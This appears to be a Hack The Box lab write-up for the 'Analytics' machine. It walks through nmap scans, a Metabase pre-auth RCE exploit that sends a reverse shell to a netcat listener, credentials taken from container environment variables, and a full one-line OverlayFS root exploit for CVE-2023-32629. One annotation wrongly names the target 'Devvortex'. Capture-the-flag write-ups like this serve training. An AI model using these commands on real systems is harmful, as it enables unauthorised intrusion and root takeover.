Home Hack the box Analytics pwned!
Post
Cancel

Hack the box Analytics pwned!

Machine info

Analytics Analytics info

Annotations

In this article we are going to assume the following ip addresses:

Local machine (attacker, local host): 10.10.16.101

Target machine (victim, Devvortex): 10.10.11.233

Enumeration

If we list the open ports in the machine, we can see that there are two open ports: 22 (ssh) and 80 (http):

nmap -Pn -n -sS -p- -T5 --min-rate 5000 -oN nmap_initial.txt 10.10.11.233

1
2
22/tcp open  ssh
80/tcp open  http

Footprinting

If we look for more information about the services running in those ports we will find the machine address:

nmap -Pn -n -sVC -p22,80 10.10.11.233

1
2
3
4
5
6
7
8
9
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3eea454bc5d16d6fe2d4d13b0a3da94f (ECDSA)
|_  256 64cc75de4ae6a5b473eb3f1bcfb4e394 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://analytical.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We add the machine address to our /etc/hosts:

echo "10.10.11.233 analytical.htb" | sudo tee -a /etc/hosts

Now, we browse to the web to take a look:

Analytics web Analytics web

If we go to the login page it will not work:

Analytics web login error Analytics web login error

The login page it’s under the domain data.analytical.htb, so let’s add it to our /etc/hosts:

echo "10.10.11.233 data.analytical.htb" | sudo tee -a /etc/hosts

And, let’s reload the login page

Analytics web login page Analytics web login page

Foothold

Docker container

We can see that is using metabase, so let’s look for vulnerabilities:

searchsploit metabase

Metabase 0.46.6 - Pre-Auth Remote Code Execution | linux/webapps/51797.py

Ok, we got one. It’s a RCE (Remote Code Execution), so we will start listening on our side to try to get a remote shell:

nc -lvnp 1234

And, now we copy the script to our working directory and we run it:

cp /opt/exploitdb/exploits/linux/webapps/51797.py metabase_exploit.py

sudo python3 metabase_exploit.py --lhost 10.10.16.101 --lport 1234 --sport 80 --url http://data.analytical.htb

We got shell, but inside a docker container. If we print the environment variables, we will find some credentials:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
SHELL=/bin/sh
MB_DB_PASS=
HOSTNAME=16a5278f5551
LANGUAGE=en_US:en
MB_JETTY_HOST=0.0.0.0
JAVA_HOME=/opt/java/openjdk
MB_DB_FILE=//metabase.db/metabase.db
PWD=/
LOGNAME=metabase
MB_EMAIL_SMTP_USERNAME=
HOME=/home/metabase
LANG=en_US.UTF-8

META_USER=metalytics
META_PASS=fakepassword

MB_EMAIL_SMTP_PASSWORD=
USER=metabase
SHLVL=2
MB_DB_USER=
FC_LANG=en-US
LD_LIBRARY_PATH=/opt/java/openjdk/lib/server:/opt/java/openjdk/lib:/opt/java/openjdk/../lib
LC_CTYPE=en_US.UTF-8
MB_LDAP_BIND_DN=
LC_ALL=en_US.UTF-8
MB_LDAP_PASSWORD=
PATH=/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
MB_DB_CONNECTION_URI=
JAVA_VERSION=jdk-11.0.19+7
_=/bin/printenv

metalytics

With our new credentials, we will login through ssh:

ssh metalytics@10.10.11.233

First, we get our user flag:

cat user.txt

And, now, we see that with our new user we will not be able to escalate privileges…

1
2
3
4
5
metalytics@analytics:~$ id
uid=1000(metalytics) gid=1000(metalytics) groups=1000(metalytics)
metalytics@analytics:~$ sudo -l
[sudo] password for metalytics:
Sorry, user metalytics may not run sudo on localhost.

If we look the system version we can see that is a vulnerable Ubuntu version.

1
2
metalytics@analytics:~$ uname -a
Linux analytics 6.2.0-25-generic #25~22.04.2-Ubuntu SMP PREEMPT_DYNAMIC Wed Jun 28 09:55:23 UTC 2 x86_64 x86_64 x86_64 GNU/linux

The vulnerability is CVE-2023-32629, so we will exploit it to gain root privileges:

unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'

Now that we are root, we can get our system flag:

cat /root/root.txt

Pwned!

Analytics Analytics has been Pwned

Enjoy! ;)

This post is licensed under CC BY 4.0 by the author.